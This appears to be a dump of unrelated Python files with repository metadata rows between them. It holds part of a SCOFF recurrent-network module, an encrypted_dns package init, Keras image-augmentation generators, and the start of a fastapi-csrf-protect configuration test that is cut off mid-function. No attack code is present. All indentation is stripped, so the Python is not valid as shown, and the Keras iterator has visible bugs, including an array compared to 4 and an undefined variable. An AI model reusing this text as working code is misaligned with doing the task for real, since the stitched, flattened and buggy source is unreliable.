#cs = torch.stack(cs, dim = 0)
if self.batch_first:
x = x.transpose(0, 1)
return x, (new_hs, new_cs)
class SCOFFv2(nn.Module):
def __init__(self,
device,
input_size,
hidden_size,
num_units,
k,
num_templates = 2,
rnn_cell = 'LSTM',
n_layers = 1,
version= 0,
attention_out= 85,
bidirectional = False,
num_rules = 0,
rule_time_steps = 0,
perm_inv = False,
application_option = 3,
batch_first = False,
dropout = 0.0,
step_att=True,
rule_selection = 'gumble',
rule_dim = 32):
super().__init__()
"""
- Wrappper for SCOFF.
- Mirrors nn.LSTM or nn.GRU
- supports bidirection and multiple layers
- Option to specify num_rules and rule_time_steps.
Parameters:
device: 'cuda' or 'cpu'
input_size
hidden_size
num_units: Number of RIMs
k: topk
rnn_cell: 'LSTM' or 'GRU' (default = LSTM)
n_layers: num layers (default = 1)
bidirectional: True or False (default = False)
num_rules: number of rules (default = 0)
rule_time_steps: Number of times to apply rules per time step (default = 0)
"""
if input_size % num_units != 0:
print('ERROR: input_size should be evenly divisible by num_units')
exit()
if device == 'cuda':
self.device = torch.device('cuda')
else:
self.device = torch.device('cpu')
self.n_layers = n_layers
self.num_directions = 2 if bidirectional else 1
self.rnn_cell = rnn_cell
self.num_units = num_units
self.hidden_size = hidden_size // num_units
self.batch_first = batch_first
if self.num_directions == 2:
self.rimcell = nn.ModuleList([RNNModelScoffv2(rnn_cell, input_size, input_size, hidden_size, 1, n_templates = num_templates, num_blocks = num_units, update_topk = k, use_gru = rnn_cell == 'GRU', version=version, attention_out=attention_out, num_rules = num_rules, rule_time_steps = rule_time_steps, perm_inv = perm_inv, application_option = application_option, dropout = dropout, step_att = step_att, rule_selection = rule_selection, rule_dim = rule_dim).to(self.device) if i < 2 else
RNNModelScoffv2(rnn_cell, 2 * hidden_size, 2 * hidden_size, hidden_size, 1, n_templates = num_templates, num_blocks = num_units, update_topk = k, use_gru = rnn_cell == 'GRU', version=version, attention_out=attention_out, num_rules = num_rules, rule_time_steps = rule_time_steps, perm_inv = perm_inv, application_option = application_option, dropout = dropout, step_att = step_att, rule_selection = rule_selection, rule_dim = rule_dim).to(self.device) for i in range(self.n_layers * self.num_directions)])
else:
self.rimcell = nn.ModuleList([RNNModelScoffv2(rnn_cell, input_size, input_size, hidden_size, 1, n_templates = num_templates, num_blocks = num_units, update_topk = k, use_gru = rnn_cell == 'GRU', version=version, attention_out=attention_out, num_rules = num_rules, rule_time_steps = rule_time_steps, perm_inv = perm_inv, application_option = application_option, dropout = dropout, step_att = step_att, rule_selection = rule_selection, rule_dim = rule_dim).to(self.device) if i == 0 else
RNNModelScoffv2(rnn_cell, hidden_size, hidden_size, hidden_size, 1, n_templates = num_templates, num_blocks = num_units, update_topk = k, use_gru = rnn_cell == 'GRU', num_rules = num_rules, version=version, attention_out=attention_out,rule_time_steps = rule_time_steps, perm_inv = perm_inv, application_option = application_option, dropout = dropout, step_att = step_att, rule_selection = rule_selection, rule_dim = rule_dim).to(self.device) for i in range(self.n_layers)])
def layer(self, rim_layer, x, h, c = None, direction = 0, message_to_rule_network = None):
batch_size = x.size(1)
xs = list(torch.split(x, 1, dim = 0))
if direction == 1: xs.reverse()
xs = torch.cat(xs, dim = 0)
hidden = (h, c)#self.rim_transform_hidden((h, c))
entropy = 0
outputs, hidden, _, _, _, entropy_ = rim_layer(xs, hidden, message_to_rule_network = message_to_rule_network)
entropy += entropy_
#hs = h.squeeze(0).view(batch_size, self.num_units, -1)
#cs = None
#if c is not None:
# cs = c.squeeze(0).view(batch_size, self.num_units, -1)
#outputs = []
#for x in xs:
# x = x.squeeze(0)
# hs, cs = rim_layer(x, hs, cs)
# outputs.append(hs.view(1, batch_size, -1))
hs, cs = hidden #self.rim_inverse_transform_hidden(hidden)
outputs = list(torch.split(outputs, 1, dim = 0))
if direction == 1: outputs.reverse()
outputs = torch.cat(outputs, dim = 0)
if c is not None:
hs_ = hs.reshape(batch_size, -1)
cs_ = cs.reshape(batch_size, -1)
return outputs, hs_, cs_, entropy #.view(batch_size, -1)
else:
hs_ = hs.reshape(batch_size, -1)
return outputs, hs_
def forward(self, x, hidden = None, message_to_rule_network = None):
"""
Input: x (seq_len, batch_size, feature_size
hidden tuple[(num_layers * num_directions, batch_size, hidden_size * num_units)]
Output: outputs (batch_size, seqlen, hidden_size * num_units * num-directions)
h(and c) (num_layer * num_directions, batch_size, hidden_size* num_units)
"""
if self.batch_first:
x = x.transpose(0, 1)
h, c = None, None
if hidden is not None:
h, c = hidden[0], hidden[1]
hs = torch.zeros(self.n_layers * self.num_directions, x.size(1), self.hidden_size * self.num_units).to(self.device) if h is None else h
cs = None
if self.rnn_cell == 'LSTM':
cs = torch.zeros(self.n_layers * self.num_directions, x.size(1), self.hidden_size * self.num_units).to(self.device) if c is None else c
else:
cs = hs
#hs_new = []
#cs_new = []
new_hs = torch.zeros(hs.size()).to(hs.device)
new_cs = torch.zeros(cs.size()).to(cs.device)
entropy = 0
for n in range(self.n_layers):
idx = n * self.num_directions
x_fw, new_hs[idx], new_cs[idx], entropy_ = self.layer(self.rimcell[idx], x, hs[idx].unsqueeze(0), cs[idx].unsqueeze(0), message_to_rule_network = message_to_rule_network)
entropy += entropy_
if self.num_directions == 2:
idx = n * self.num_directions + 1
x_bw, new_hs[idx], new_cs[idx], entropy_ = self.layer(self.rimcell[idx], x, hs[idx], cs[idx], direction = 1, message_to_rule_network = message_to_rule_network)
entropy += entropy_
x = torch.cat((x_fw, x_bw), dim = 2)
else:
x = x_fw
#hs = torch.stack(hs, dim = 0)
#cs = torch.stack(cs, dim = 0)
if self.batch_first:
x = x.transpose(0, 1)
return x, (new_hs, new_cs), entropy
if __name__=='__main__':
rim = SCOFF('cuda', 20, 32, 4, 4, rnn_cell = 'LSTM', n_layers = 2, bidirectional = True, num_rules = 5, rule_time_steps = 3, perm_inv = True)
x = torch.rand(10, 2, 20).cuda()
out = rim(x)
print(out[0].size())
print(out[1][0].size())
print(out[1][1].size())
| 41.106416
| 508
| 0.68371
| 4,098
| 26,267
| 4.123963
| 0.040264
| 0.040237
| 0.034615
| 0.03787
| 0.960237
| 0.957515
| 0.957515
| 0.953609
| 0.953609
| 0.953609
| 0
| 0.015125
| 0.192028
| 26,267
| 638
| 509
| 41.170846
| 0.781181
| 0.100659
| 0
| 0.895377
| 0
| 0
| 0.013226
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.043796
| false
| 0
| 0.017032
| 0.002433
| 0.121655
| 0.014599
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
9edccb6dd89d2add553f9106d892f650216a5ecf
| 162
|
py
|
Python
|
encrypted_dns/__init__.py
|
IOT-Kill-net/Encrypted-DNS
|
84fd5330983e6b51e10e396aa80d18fb85a8662b
|
[
"Apache-2.0"
] | null | null | null |
encrypted_dns/__init__.py
|
IOT-Kill-net/Encrypted-DNS
|
84fd5330983e6b51e10e396aa80d18fb85a8662b
|
[
"Apache-2.0"
] | null | null | null |
encrypted_dns/__init__.py
|
IOT-Kill-net/Encrypted-DNS
|
84fd5330983e6b51e10e396aa80d18fb85a8662b
|
[
"Apache-2.0"
] | 1
|
2020-12-23T17:34:09.000Z
|
2020-12-23T17:34:09.000Z
|
import encrypted_dns.inbound
import encrypted_dns.outbound
import encrypted_dns.resolve
import encrypted_dns.utils
from encrypted_dns.config import ConfigHandler
| 27
| 46
| 0.895062
| 22
| 162
| 6.363636
| 0.454545
| 0.428571
| 0.514286
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.074074
| 162
| 5
| 47
| 32.4
| 0.933333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
73177e27d4962b114d2b5a585922ab639af3ac7f
| 27,422
|
py
|
Python
|
image_base/data_generators.py
|
ryanfeather/image_base
|
6aa56eaa59abd0c62bebd06f26a801e6ba62ddb4
|
[
"MIT"
] | null | null | null |
image_base/data_generators.py
|
ryanfeather/image_base
|
6aa56eaa59abd0c62bebd06f26a801e6ba62ddb4
|
[
"MIT"
] | null | null | null |
image_base/data_generators.py
|
ryanfeather/image_base
|
6aa56eaa59abd0c62bebd06f26a801e6ba62ddb4
|
[
"MIT"
] | null | null | null |
""" Numerous data generator configurations not natively supported by keras
"""
from keras.preprocessing.image import Iterator, ImageDataGenerator, NumpyArrayIterator, array_to_img, transform_matrix_offset_center, apply_transform, random_channel_shift, flip_axis
import os
import numpy as np
class XOnlyImageDataGenerator(ImageDataGenerator):
def flow(self, X, batch_size=32, shuffle=True, seed=None,
save_to_dir=None, save_prefix='', save_format='jpeg'):
return XOnlyNumpyArrayIterator(
X, self,
batch_size=batch_size, shuffle=shuffle, seed=seed,
dim_ordering=self.dim_ordering,
save_to_dir=save_to_dir, save_prefix=save_prefix, save_format=save_format)
class XOnlyNumpyArrayIterator(Iterator):
def __init__(self, X, image_data_generator,
batch_size=32, shuffle=False, seed=None,
dim_ordering='default',
save_to_dir=None, save_prefix='', save_format='jpeg'):
if dim_ordering == 'default':
dim_ordering = K.image_dim_ordering()
self.X = np.asarray(X)
if self.X.ndim != 4:
raise ValueError('Input data in `NumpyArrayIterator` '
'should have rank 4. You passed an array '
'with shape', self.X.shape)
channels_axis = 3 if dim_ordering == 'tf' else 1
if self.X.shape[channels_axis] not in {1, 3, 4}:
raise ValueError('NumpyArrayIterator is set to use the '
'dimension ordering convention "' + dim_ordering + '" '
'(channels on axis ' + str(channels_axis) + '), i.e. expected '
'either 1, 3 or 4 channels on axis ' + str(channels_axis) + '. '
'However, it was passed an array with shape ' + str(self.X.shape) +
' (' + str(self.X.shape[channels_axis]) + ' channels).')
self.image_data_generator = image_data_generator
self.dim_ordering = dim_ordering
self.save_to_dir = save_to_dir
self.save_prefix = save_prefix
self.save_format = save_format
super(XOnlyNumpyArrayIterator, self).__init__(X.shape[0], batch_size, shuffle, seed)
def next(self):
# for python 2.x.
# Keeps under lock only the mechanism which advances
# the indexing of each batch
# see http://anandology.com/blog/using-iterators-and-generators/
with self.lock:
index_array, current_index, current_batch_size = next(self.index_generator)
# The transformation of images is not under thread lock so it can be done in parallel
batch_x = np.zeros(tuple([current_batch_size] + list(self.X.shape)[1:]))
for i, j in enumerate(index_array):
x = self.X[j]
x = self.image_data_generator.random_transform(x.astype('float32'))
x = self.image_data_generator.standardize(x)
batch_x[i] = x
if self.save_to_dir:
for i in range(current_batch_size):
img = array_to_img(batch_x[i], self.dim_ordering, scale=True)
fname = '{prefix}_{index}_{hash}.{format}'.format(prefix=self.save_prefix,
index=current_index + i,
hash=np.random.randint(1e4),
format=self.save_format)
img.save(os.path.join(self.save_to_dir, fname))
return batch_x
class MultiYNumpyArrayIterator(Iterator):
def __init__(self, X, y, image_data_generator,
batch_size=32, shuffle=False, seed=None,
dim_ordering='default',
save_to_dir=None, save_prefix='', save_format='jpeg'):
if y is not None and len(X) != len(y):
if isinstance(y, list):
for y_sub in y:
if len(X) != len(y_sub):
raise ValueError('X (images tensor) and y (labels) '
'should have the same length. '
'Found: X.shape = %s, y.shape = %s' % (
np.asarray(X).shape, np.asarray(y).shape))
else:
raise ValueError('X (images tensor) and y (labels) '
'should have the same length. '
'Found: X.shape = %s, y.shape = %s' % (np.asarray(X).shape, np.asarray(y).shape))
if dim_ordering == 'default':
dim_ordering = K.image_dim_ordering()
self.X = np.asarray(X)
if self.X.ndim != 4:
raise ValueError('Input data in `NumpyArrayIterator` '
'should have rank 4. You passed an array '
'with shape', self.X.shape)
channels_axis = 3 if dim_ordering == 'tf' else 1
if self.X.shape[channels_axis] not in {1, 3, 4}:
raise ValueError('NumpyArrayIterator is set to use the '
'dimension ordering convention "' + dim_ordering + '" '
'(channels on axis ' + str(channels_axis) + '), i.e. expected '
'either 1, 3 or 4 channels on axis ' + str(channels_axis) + '. '
'However, it was passed an array with shape ' + str(self.X.shape) +
' (' + str(self.X.shape[channels_axis]) + ' channels).')
if y is not None:
if isinstance(y, list):
self.y = [np.asarray(y_sub) for y_sub in y]
else:
self.y = np.asarray(y)
else:
self.y = None
self.image_data_generator = image_data_generator
self.dim_ordering = dim_ordering
self.save_to_dir = save_to_dir
self.save_prefix = save_prefix
self.save_format = save_format
super(MultiYNumpyArrayIterator, self).__init__(X.shape[0], batch_size, shuffle, seed)
def next(self):
# for python 2.x.
# Keeps under lock only the mechanism which advances
# the indexing of each batch
# see http://anandology.com/blog/using-iterators-and-generators/
with self.lock:
index_array, current_index, current_batch_size = next(self.index_generator)
# The transformation of images is not under thread lock so it can be done in parallel
batch_x = np.zeros(tuple([current_batch_size] + list(self.X.shape)[1:]))
for i, j in enumerate(index_array):
x = self.X[j]
x = self.image_data_generator.random_transform(x.astype('float32'))
x = self.image_data_generator.standardize(x)
batch_x[i] = x
if self.save_to_dir:
for i in range(current_batch_size):
img = array_to_img(batch_x[i], self.dim_ordering, scale=True)
fname = '{prefix}_{index}_{hash}.{format}'.format(prefix=self.save_prefix,
index=current_index + i,
hash=np.random.randint(1e4),
format=self.save_format)
img.save(os.path.join(self.save_to_dir, fname))
if self.y is None:
return batch_x
if isinstance(self.y,list):
batch_y = [y_sub[index_array] for y_sub in self.y]
else:
batch_y = self.y[index_array]
return batch_x, batch_y
class MultiXYNumpyArrayIterator(Iterator):
def __init__(self, X, y, image_data_generator,
batch_size=32, shuffle=False, seed=None,
dim_ordering='default',
save_to_dir=None, save_prefix='', save_format='jpeg',transforms=None):
if y is not None and len(X) != len(y):
if isinstance(y, list):
for y_sub in y:
if len(X) != len(y_sub):
raise ValueError('X (images tensor) and y (labels) '
'should have the same length. '
'Found: X.shape = %s, y.shape = %s' % (
np.asarray(X).shape, np.asarray(y).shape))
else:
raise ValueError('X (images tensor) and y (labels) '
'should have the same length. '
'Found: X.shape = %s, y.shape = %s' % (np.asarray(X).shape, np.asarray(y).shape))
if dim_ordering == 'default':
dim_ordering = K.image_dim_ordering()
self.X = np.asarray(X)
if self.X.ndim != 4:
raise ValueError('Input data in `NumpyArrayIterator` '
'should have rank 4. You passed an array '
'with shape', self.X.shape)
channels_axis = 3 if dim_ordering == 'tf' else 1
if self.X.shape[channels_axis] not in {1, 3, 4}:
raise ValueError('NumpyArrayIterator is set to use the '
'dimension ordering convention "' + dim_ordering + '" '
'(channels on axis ' + str(channels_axis) + '), i.e. expected '
'either 1, 3 or 4 channels on axis ' + str(channels_axis) + '. '
'However, it was passed an array with shape ' + str(self.X.shape) +
' (' + str(self.X.shape[channels_axis]) + ' channels).')
if y is not None:
if isinstance(y, list):
self.y = [np.asarray(y_sub) for y_sub in y]
else:
self.y = np.asarray(y)
else:
self.y = None
self.image_data_generator = image_data_generator
self.dim_ordering = dim_ordering
self.save_to_dir = save_to_dir
self.save_prefix = save_prefix
self.save_format = save_format
self.transforms = transforms
super(MultiXYNumpyArrayIterator, self).__init__(X.shape[0], batch_size, shuffle, seed)
def next(self):
# for python 2.x.
# Keeps under lock only the mechanism which advances
# the indexing of each batch
# see http://anandology.com/blog/using-iterators-and-generators/
with self.lock:
index_array, current_index, current_batch_size = next(self.index_generator)
# The transformation of images is not under thread lock so it can be done in parallel
batch_x = np.zeros(tuple([current_batch_size] + list(self.X.shape)[1:]))
if isinstance(self.y, list):
use_y = self.y[0]#batch_y = [y_sub[index_array] for y_sub in self.y]
else:
use_y = self.y#[index_array]
batch_y = np.zeros(tuple([current_batch_size] + list(use_y.shape)[1:]))
for i, j in enumerate(index_array):
x = self.X[j]
y = use_y[j]
x,y = self.image_data_generator.random_transform(x.astype('float32'), y.astype('float32'))
batch_x[i] = x
batch_y[i] = y
if self.save_to_dir:#todo handle y
for i in range(current_batch_size):
img = array_to_img(batch_x[i], self.dim_ordering, scale=True)
fname = '{prefix}_{index}_{hash}.{format}'.format(prefix=self.save_prefix,
index=current_index + i,
hash=np.random.randint(1e4),
format=self.save_format)
img.save(os.path.join(self.save_to_dir, fname))
#batch_y = batch_y.reshape((current_batch_size, -1))
if isinstance(self.y, list):
batch_y_out = [batch_y]
for i in range(1, len(self.y)):
batch_y_out.append(self.y[i][index_array])
if self.transforms is not None:
batch_y_out_new = []
for i in range(0, len(self.transforms)):
batch_y_out_new.extend(self.transforms[i](batch_y_out))
batch_y_out = batch_y_out_new
else:
batch_y_out = batch_y
if self.transforms is not None:
batch_y_out = self.transforms[0](batch_y_out)
return batch_x,batch_y_out
class MultiYImageDataGenerator(ImageDataGenerator):
def flow(self, X, y, batch_size=32, shuffle=True, seed=None,
save_to_dir=None, save_prefix='', save_format='jpeg'):
return MultiYNumpyArrayIterator(
X, y, self,
batch_size=batch_size, shuffle=shuffle, seed=seed,
dim_ordering=self.dim_ordering,
save_to_dir=save_to_dir, save_prefix=save_prefix, save_format=save_format)
class MultiXYImageDataGenerator(ImageDataGenerator):
def __init__(self, transforms=None, **super_kwargs):
self.transforms = transforms
super(MultiXYImageDataGenerator, self).__init__(**super_kwargs)
def flow(self, X, y, batch_size=32, shuffle=True, seed=None,
save_to_dir=None, save_prefix='', save_format='jpeg'):
return MultiXYNumpyArrayIterator(
X, y, self,
batch_size=batch_size, shuffle=shuffle, seed=seed,
dim_ordering=self.dim_ordering,
save_to_dir=save_to_dir, save_prefix=save_prefix, save_format=save_format, transforms=self.transforms)
def random_transform(self, x, y):
# x is a single image, so it doesn't have image number at index 0
img_row_index = self.row_index - 1
img_col_index = self.col_index - 1
img_channel_index = self.channel_index - 1
# use composition of homographies to generate final transform that needs to be applied
if self.rotation_range:
theta = np.pi / 180 * np.random.uniform(-self.rotation_range, self.rotation_range)
else:
theta = 0
rotation_matrix = np.array([[np.cos(theta), -np.sin(theta), 0],
[np.sin(theta), np.cos(theta), 0],
[0, 0, 1]])
if self.height_shift_range:
tx = np.random.uniform(-self.height_shift_range, self.height_shift_range) * x.shape[img_row_index]
else:
tx = 0
if self.width_shift_range:
ty = np.random.uniform(-self.width_shift_range, self.width_shift_range) * x.shape[img_col_index]
else:
ty = 0
translation_matrix = np.array([[1, 0, tx],
[0, 1, ty],
[0, 0, 1]])
if self.shear_range:
shear = np.random.uniform(-self.shear_range, self.shear_range)
else:
shear = 0
shear_matrix = np.array([[1, -np.sin(shear), 0],
[0, np.cos(shear), 0],
[0, 0, 1]])
if self.zoom_range[0] == 1 and self.zoom_range[1] == 1:
zx, zy = 1, 1
else:
zx, zy = np.random.uniform(self.zoom_range[0], self.zoom_range[1], 2)
zoom_matrix = np.array([[zx, 0, 0],
[0, zy, 0],
[0, 0, 1]])
transform_matrix = np.dot(np.dot(np.dot(rotation_matrix, translation_matrix), shear_matrix), zoom_matrix)
h, w = x.shape[img_row_index], x.shape[img_col_index]
transform_matrix = transform_matrix_offset_center(transform_matrix, h, w)
x = apply_transform(x, transform_matrix, img_channel_index,
fill_mode=self.fill_mode, cval=self.cval)
y =apply_transform(y, transform_matrix, img_channel_index,
fill_mode=self.fill_mode, cval=self.cval)
if self.channel_shift_range != 0:
x = random_channel_shift(x, self.channel_shift_range, img_channel_index)
# don't do y channel shift
if self.horizontal_flip:
if np.random.random() < 0.5:
x = flip_axis(x, img_col_index)
y = flip_axis(y, img_col_index)
if self.vertical_flip:
if np.random.random() < 0.5:
x = flip_axis(x, img_row_index)
y = flip_axis(y, img_row_index)
# TODO:
# channel-wise normalization
# barrel/fisheye
return x, y
class OmniImageDataGenerator(ImageDataGenerator):
def __init__(self, transforms=None, **super_kwargs):
self.transforms = transforms
super(OmniImageDataGenerator, self).__init__(**super_kwargs)
def flow(self, X, y, batch_size=32, shuffle=True, seed=None,
save_to_dir=None, save_prefix='', save_format='jpeg'):
"""X and y are expected to be tuple lists of the form [(data,transform)] where transform
indicates whether or not to transform it """
return OmniNumpyArrayIterator(
X, y, self,
batch_size=batch_size, shuffle=shuffle, seed=seed,
dim_ordering=self.dim_ordering,
save_to_dir=save_to_dir, save_prefix=save_prefix, save_format=save_format, transforms=self.transforms)
def random_transform(self, x, y):
x_shape = None
for x_sub in x:
if x_sub[1]:
x_shape = x_sub.shape
img_channel_index, img_col_index, img_row_index, transform_matrix = self.build_transform(x_shape)
flip_horiz_choice, flip_vert_choice = np.random.random(2) < 0.5
for x_i in range(len(x)):
if x[x_i][1]:
to_transform = x[x_i][0]
to_transform = self.spatial_transforms(flip_horiz_choice, flip_vert_choice, img_channel_index,
img_col_index, img_row_index, to_transform, transform_matrix)
if self.channel_shift_range != 0:
to_transform = random_channel_shift(to_transform, self.channel_shift_range, img_channel_index)
x[x_i][0] = to_transform
if y is not None:
for y_i in range(len(y)):
if y[y_i][1]:
to_transform = y[y_i][0]
to_transform = self.spatial_transforms(flip_horiz_choice, flip_vert_choice, img_channel_index,
img_col_index, img_row_index, to_transform, transform_matrix)
y[y_i][0] = to_transform
# TODO:
# channel-wise normalization
# barrel/fisheye
return x, y
def spatial_transforms(self, flip_horiz_choice, flip_vert_choice, img_channel_index, img_col_index, img_row_index,
to_transform, transform_matrix):
to_transform = apply_transform(to_transform, transform_matrix, img_channel_index,
fill_mode=self.fill_mode, cval=self.cval)
if self.horizontal_flip:
if flip_horiz_choice:
to_transform = flip_axis(to_transform, img_col_index)
if self.vertical_flip:
if flip_vert_choice < 0.5:
to_transform = flip_axis(to_transform, img_row_index)
return to_transform
def build_transform(self, shape):
img_row_index = self.row_index - 1
img_col_index = self.col_index - 1
img_channel_index = self.channel_index - 1
# use composition of homographies to generate final transform that needs to be applied
if self.rotation_range:
theta = np.pi / 180 * np.random.uniform(-self.rotation_range, self.rotation_range)
else:
theta = 0
rotation_matrix = np.array([[np.cos(theta), -np.sin(theta), 0],
[np.sin(theta), np.cos(theta), 0],
[0, 0, 1]])
if self.height_shift_range:
tx = np.random.uniform(-self.height_shift_range, self.height_shift_range) * shape[img_row_index]
else:
tx = 0
if self.width_shift_range:
ty = np.random.uniform(-self.width_shift_range, self.width_shift_range) * shape[img_col_index]
else:
ty = 0
translation_matrix = np.array([[1, 0, tx],
[0, 1, ty],
[0, 0, 1]])
if self.shear_range:
shear = np.random.uniform(-self.shear_range, self.shear_range)
else:
shear = 0
shear_matrix = np.array([[1, -np.sin(shear), 0],
[0, np.cos(shear), 0],
[0, 0, 1]])
if self.zoom_range[0] == 1 and self.zoom_range[1] == 1:
zx, zy = 1, 1
else:
zx, zy = np.random.uniform(self.zoom_range[0], self.zoom_range[1], 2)
zoom_matrix = np.array([[zx, 0, 0],
[0, zy, 0],
[0, 0, 1]])
transform_matrix = np.dot(np.dot(np.dot(rotation_matrix, translation_matrix), shear_matrix), zoom_matrix)
h, w = shape[img_row_index], shape[img_col_index]
transform_matrix = transform_matrix_offset_center(transform_matrix, h, w)
return img_channel_index, img_col_index, img_row_index, transform_matrix
class OmniNumpyArrayIterator(Iterator):
def __init__(self, X, y, image_data_generator,
batch_size=32, shuffle=False, seed=None,
dim_ordering='default',
save_to_dir=None, save_prefix='', save_format='jpeg',transforms=None):
if dim_ordering == 'default':
dim_ordering = K.image_dim_ordering()
self.X = X#np.asarray(X)
for x_i in range(len(self.X)):
sub_x = np.asarray(self.X[x_i][0], dtype=np.float32)
self.X[x_i][0] = sub_x
if sub_x != 4:
raise ValueError('Input data in `OmniNumpyArrayIterator` '
'should have rank 4. You passed an array {0}'
'with shape {1}'.format(x_i,sub_x.shape))
channels_axis = 3 if dim_ordering == 'tf' else 1
if sub_x.shape[channels_axis] not in {1, 3, 4}:
raise ValueError('OmniNumpyArrayIterator is set to use the '
'dimension ordering convention "' + dim_ordering + '" '
'(channels on axis ' + str(channels_axis) + '), i.e. expected '
'either 1, 3 or 4 channels on axis ' + str(channels_axis) + '. '
'However, it was passed an array at ' + str(x_i) + ' with shape ' + str(sub_x.shape) +
' (' + str(sub_x.shape[channels_axis]) + ' channels).')
self.y = y
if y is not None:
for y_i in range(len(self.y)):
sub_x = np.asarray(self.y[y_i][0], dtype=np.float32)
self.y[y_i][0] = sub_y
self.image_data_generator = image_data_generator
self.dim_ordering = dim_ordering
self.save_to_dir = save_to_dir
self.save_prefix = save_prefix
self.save_format = save_format
self.transforms = transforms
super(OmniNumpyArrayIterator, self).__init__(X[0][0].shape[0], batch_size, shuffle, seed)
def next(self):
# for python 2.x.
# Keeps under lock only the mechanism which advances
# the indexing of each batch
# see http://anandology.com/blog/using-iterators-and-generators/
with self.lock:
index_array, current_index, current_batch_size = next(self.index_generator)
# The transformation of images is not under thread lock so it can be done in parallel
result_x = [[] for x in self.X]
if self.y is not None:
result_y = [[] for y in self.y]
for j in enumerate(index_array):
tmp_x = [(x_sub[0][j], x_sub[1]) for x_sub in self.X]
if self.y is not None:
tmp_y = [(y_sub[0][j], y_sub[1]) for y_sub in self.y]
else:
tmp_y = None
x,y = self.image_data_generator.random_transform(tmp_x, tmp_y)
for x_i in range(len(x)):
result_x[x_i].append(x[x_i][0].reshape((1,)+x[x_i][0].shape))
if self.y is not None:
for y_i in range(len(y)):
result_y[y_i].append(y[y_i][0].reshape((1,)+y[y_i][0].shape))
for x_i in range(len(x)):
result_x[x_i] = np.concatenate(result_x[x_i],axis=0)
if self.y is not None:
for y_i in range(len(y)):
result_y[y_i] = np.concatenate(result_y[y_i],axis=0)
if self.save_to_dir:#todo handle y
for i in range(current_batch_size):
img = array_to_img(result_x[i], self.dim_ordering, scale=True)
fname = '{prefix}_{index}_{hash}.{format}'.format(prefix=self.save_prefix,
index=current_index + i,
hash=np.random.randint(1e4),
format=self.save_format)
img.save(os.path.join(self.save_to_dir, fname))
if self.y is not None:
if self.transforms is not None:
for y_i in range(len(y)):
result_y[y_i] = self.transforms[y_i](result_y[y_i])
return result_x,result_y
def augmented_predict(model, X, batch_size, n_aug):
""" Predict with several image manipulations and then
:param model: Keras model to predict with
:param X:
:param batch_size: model predict batch size
:param n_aug: number of times to predict and average
:return:
"""
aug_generator = XOnlyImageDataGenerator(
featurewise_center=False, # set input mean to 0 over the dataset
samplewise_center=False, # set each sample mean to 0
featurewise_std_normalization=False, # divide inputs by std of the dataset
samplewise_std_normalization=False, # divide each input by its std
zca_whitening=False, # apply ZCA whitening
rotation_range=360, # randomly rotate images in the range (degrees, 0 to 180)
width_shift_range=0.1, # randomly shift images horizontally (fraction of total width)
height_shift_range=0.1, # randomly shift images vertically (fraction of total height)
horizontal_flip=True, # randomly flip images
vertical_flip=True,
shear_range=0.2,
zoom_range=0.1,
channel_shift_range=10, # can't do channel shift on the y
dim_ordering='th')
predictions = None
for i in range(n_aug):
generator = aug_generator.flow(X, batch_size=int(batch_size*2), shuffle=False)
predictions_patch = model.predict_generator(generator, val_samples=len(X))
if predictions is None:
predictions = predictions_patch
else:
predictions += predictions_patch
predictions /= n_aug
return predictions
| 47.197935
| 182
| 0.55853
| 3,481
| 27,422
| 4.172939
| 0.077851
| 0.034077
| 0.019827
| 0.016522
| 0.802905
| 0.77943
| 0.757263
| 0.735853
| 0.727041
| 0.708936
| 0
| 0.013449
| 0.343812
| 27,422
| 580
| 183
| 47.27931
| 0.79382
| 0.082379
| 0
| 0.707792
| 0
| 0
| 0.071055
| 0.006942
| 0
| 0
| 0
| 0.003448
| 0
| 1
| 0.041126
| false
| 0.017316
| 0.006494
| 0.006494
| 0.095238
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
7321da8dab1254a99a38686ea7647382e9051ebb
| 7,440
|
py
|
Python
|
tests/load_config.py
|
datafold/fastapi-csrf-protect
|
21943721fdac7db383dacf5183d48ed9df700106
|
[
"MIT"
] | null | null | null |
tests/load_config.py
|
datafold/fastapi-csrf-protect
|
21943721fdac7db383dacf5183d48ed9df700106
|
[
"MIT"
] | null | null | null |
tests/load_config.py
|
datafold/fastapi-csrf-protect
|
21943721fdac7db383dacf5183d48ed9df700106
|
[
"MIT"
] | null | null | null |
#!/usr/bin/env python3
# Copyright (C) 2019-2020 All rights reserved.
# FILENAME: load_config.py
# VERSION: 0.1.0
# CREATED: 2020-11-26 16:14
# AUTHOR: Aekasitt Guruvanich <aekazitt@gmail.com>
# DESCRIPTION:
#
# HISTORY:
#*************************************************************
import unittest
from fastapi_csrf_protect import CsrfProtect
from tests.base import BaseTestCase
from pydantic import ValidationError
class LoadConfigTestCase(BaseTestCase):
def test_missing_secret_key(self, route='/protected'):
error_called = False
try:
@CsrfProtect.load_config
def load_secret_key():
return [('secret_key', None)]
resp = self.client.get(route)
except Exception as err:
error_called = True
assert isinstance(err, RuntimeError)
assert err.args[0] == 'A secret key is required to use CSRF.'
assert error_called == True
def test_load_config(self, config_key:str='secret_key', config_value='', invalid=False):
error_called = False
try:
@CsrfProtect.load_config
def load_csrf_conifig():
return [(config_key, config_value)]
except Exception as err:
error_called = True
assert isinstance(err, ValidationError)
if invalid: assert error_called is True
else: assert error_called is False
def test_load_secret_key_as_int(self):
self.test_load_config(config_key='secret_key', config_value=2, invalid=True)
def test_load_secret_key_as_float(self):
